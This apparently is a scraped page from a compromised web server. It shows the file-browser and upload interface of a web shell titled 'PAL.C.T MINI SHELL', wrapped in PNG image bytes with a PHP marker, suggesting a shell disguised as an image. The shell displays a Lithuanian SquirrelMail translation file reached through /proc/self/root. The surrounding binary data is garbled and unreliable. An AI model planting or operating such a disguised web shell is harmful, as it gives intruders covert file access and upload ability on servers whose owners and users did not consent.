php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/lt_LT/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/lt_LT/LC_MESSAGES/templates.po

# Lithuanian translation of
# SquirrelMail's templates plugin.
# Copyright (c) 2003-2009 The SquirrelMail Project Team
# Tomas Kuliavas <tokul@users.sourceforge.net>, 2003.
# $Id: templates.po 13696 2009-05-14 06:27:08Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: templates\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2005-03-18 08:58+0100\n"
"PO-Revision-Date: 2005-06-09 23:10+0300\n"
"Last-Translator: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"Language-Team: Lithuanian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit"

#, php-format
msgid ""
"Template file, %s, could not be opened. Contact your system administrator to "
"resolve this issue."
msgstr ""
"Nepavyko atidaryti šablono bylos %s. Susisiekite su pašto sistemos "
"administratoriumi norėdami išspręsti šią problemą."

#, php-format
msgid ""
"Template file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"Nepavyko įrašyti į šablono bylą %s. Susisiekite su pašto sistemos "
"administratoriumi norėdami išspręsti šią problemą."

#, php-format
msgid ""
"Template file, %s, could not be copied from temporary file, %s. Contact your "
"system administrator to resolve this issue."
msgstr ""
"Nepavyko nukopijuoti šablono bylos %s iš laikinos bylos %s. Susisiekite su "
"pašto sistemos administratoriumi norėdami išspręsti šią problemą."

msgid "You must be on WYSIWYG mode!"
msgstr "Jūs turite būti WYSIWYG režime!"

msgid "Add Template"
msgstr "Sukurti Šabloną"

msgid "Templates"
msgstr "Šablonai"

msgid ""
"Create/Edit/Delete chunks of text that can be quickly added to messages."
msgstr ""
"Sukurkite/Pataisykite/Ištrinkite teksto blokus, kurie gali būti greitai "
"pridėti prie žinučių."

msgid "Append Templates before all existing text"
msgstr "Pridėti šablonus prieš bet kokį esamą tekstą"

msgid "Yes"
msgstr "Taip"

msgid "No"
msgstr "Ne"

msgid "Add blank line before template text when appending"
msgstr "Įterpiant šablono tekstą prieš jį pridėti tuščią eilutę"

msgid "Add blank line after template text when appending"
msgstr "Įterpiant šablono tekstą po jo pridėti tuščią eilutę"

#, php-format
msgid "Template %d"
msgstr "Šablonas %d"

msgid "Options"
msgstr "Nustatymai"

msgid "Add a New Template"
msgstr "Sukurti Naują Šabloną"

msgid "Description"
msgstr "Aprašymas"

msgid "Template Text"
msgstr "Šablono Tekstas"

msgid "Save / Update"
msgstr "Išsaugoti / Atnaujinti"

msgid "Delete"
msgstr "Ištrinti"

msgid "Move Up"
msgstr "Perkelti Aukštyn"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`